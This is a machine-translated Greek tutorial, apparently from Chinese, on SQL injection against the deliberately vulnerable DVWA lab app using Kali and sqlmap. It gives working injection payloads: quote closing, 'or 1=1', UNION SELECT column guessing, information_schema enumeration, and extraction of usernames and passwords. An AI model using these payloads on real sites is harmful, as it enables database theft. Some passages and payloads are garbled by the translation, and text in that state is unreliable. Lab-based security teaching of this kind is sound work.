Λογισμικό εικονικής μηχανής, μπορείτε να χρησιμοποιήσετε λογισμικό για να εγκαταστήσετε πολλαπλά εικονικά λειτουργικά συστήματα (Linux, windows) σε φυσικές μηχανές
Στοχεύστε drones και διεισδυτικά που εκτελούνται με λογισμικό VMware Εκμάθηση λήψης VMware
3.2 Στόχευση drone (εκμάθηση χρήσης του περιβάλλοντος έργου)
αποτέλεσμα
Ένα σύστημα εικονικής μηχανής Linux Ορισμένες εφαρμογές Ιστού με γνωστά τρωτά σημεία είναι εγκατεστημένες σε αυτήν την εικονική μηχανή για να διευκολύνουν την εκμάθηση.
3.3 Μηχάνημα διείσδυσης (εκμάθηση επίθεσης σε περιβάλλον injection sql)
αποτέλεσμα:
Το Kali περιέχει εκατοντάδες εργαλεία που μπορούν να χρησιμοποιηθούν για διάφορες εργασίες ασφάλειας πληροφοριών, όπως δοκιμές διείσδυσης, έρευνα ασφάλειας
4. Χειροκίνητη ένεση
4.1 Προετοιμασία περιβάλλοντος
Περιγραφή: Εξασκηθείτε στη χειροκίνητη έγχυση μέσω της διαδικτυακής εφαρμογής drone βήμα:
Έναρξη στόχου drone OWASP
Πρόσβαση στο drone μέσω προγράμματος περιήγησης
Επισκεφτείτε το έργο OWASP-dvwa
Σύνδεση
Επιλέξτε εφαρμογή sql injection
4.2 Βρείτε το σημείο της ένεσης
Σημείωση: Χρησιμοποιήστε κυρίως μεμονωμένα εισαγωγικά και χαρακτήρες διαφυγής, κυρίως μεμονωμένα εισαγωγικά αρχή:
#后台程序sql语句select first_name,last_name from users where user_id ='$id';#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了select first_name,last_name fro users where user_id =''';
1
2
3
4
4.3 Λογικό Ή
4.4 Μαντέψτε τον αριθμό των στηλών
από το σωματείο
' unionselect1,2#
1
2. Κατά λογική Ή
'or1=1#
1
4.5 Λάβετε βάσεις δεδομένων, πίνακες και στήλες
Λήψη ονόματος βάσης δεδομένων
' unionselect1,database()#
1
Πάρε τραπέζι
' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
1
Λήψη στήλης
' union select column_name,1 from information_schema.columns where table_name='users' #
1
4.6 Λήψη δεδομένων
//1. 获取单个字段数据' union select user,1 from users#
//2. 获取两个字段
'unionselectuser,password from users#
1
2
3
4
5
4.7 συνάρτηση concat
Λειτουργία: Συνδέστε πολλές χορδές σε μία συμβολοσειρά Σύνταξη: concat(str1,str2,…) Παράδειγμα:
Λάβετε user_id, user, password από τον πίνακα χρηστών και εμφανίστε τα σε δύο στήλες
' union select user,concat(first_name,'',last_name,' ',password)from users#
1
5. Αυτόματη έγχυση
5.1 Εισαγωγή στην αυτόματη έγχυση
Σημείωση: Η αυτόματη έγχυση αναφέρεται στη χρήση εργαλείων αντί για χειρωνακτική εργασία για την ολοκλήρωση των λειτουργιών έγχυσης sql. Εργαλείο: sqlmap
5.2 Αυτόματη έγχυση στο περιβάλλον
Ξεκινήστε το drone
Θέστε σε λειτουργία τη μηχανή διείσδυσης
5.3 sqlmap
Εργαλείο: sqlmap
Ένα εργαλείο δοκιμής διείσδυσης ανοιχτού κώδικα
Αυτόματος εντοπισμός και εκμετάλλευση τρωτών σημείων έγχυσης SQL και ανάληψη διακομιστών βάσεων δεδομένων
Εφόσον πρέπει να συνδεθούμε, λαμβάνουμε πρώτα το cookie της συνδεδεμένης σελίδας Στη συνέχεια ξεκινήστε τη σάρωση του σημείου έγχυσης Επιτυχής ένεση
5.3.2 sqlmap παίρνει το όνομα της βιβλιοθήκης
– current-db: Ερώτημα για το όνομα της βάσης δεδομένων που χρησιμοποιείται από τον τρέχοντα ιστό -D: Εφαρμογή της καθορισμένης βάσης δεδομένων αποτέλεσμα λειτουργίας:
5.3.3 sqlmap παίρνει πίνακα
– current-db: Ερώτημα όλων των ονομάτων πινάκων κάτω από την καθορισμένη βιβλιοθήκη (πρέπει να χρησιμοποιήσετε -D για να καθορίσετε πρώτα το όνομα της βιβλιοθήκης) -T: Καθορίστε τον πίνακα
αποτέλεσμα λειτουργίας:
5.3.4 sqlmap παίρνει στήλες
– στήλες: Ερώτημα για όλα τα πεδία κάτω από τον καθορισμένο πίνακα (πρέπει να χρησιμοποιήσετε -T για να καθορίσετε πρώτα το όνομα του πίνακα) -C: Καθορίστε το όνομα του πεδίου